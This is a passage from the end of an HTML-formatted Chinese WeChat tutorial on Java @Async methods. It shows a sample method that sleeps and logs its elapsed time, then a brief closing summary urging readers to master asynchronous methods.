26px;">void</span>&nbsp;<span style="line-height: 26px;">doTask2</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t1&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;Thread.sleep(<span style="color: #B8D7A3;line-height: 26px;">3000</span>);<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t2&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;log.info(<span style="color: #D69D85;line-height: 26px;">"task2&nbsp;cost&nbsp;{}&nbsp;ms"</span>&nbsp;,&nbsp;t2-t1);<br>}<br></code></pre> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">小结</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>异步方法在日常开发中经常会用到,大家好好掌握,争取早日成为老鸟!!!</p> <span style="font-size: 15px;display: block;text-align: center;margin-top: 50px;color: #999;border-bottom: 1px solid #eee;">- END -</span> </section>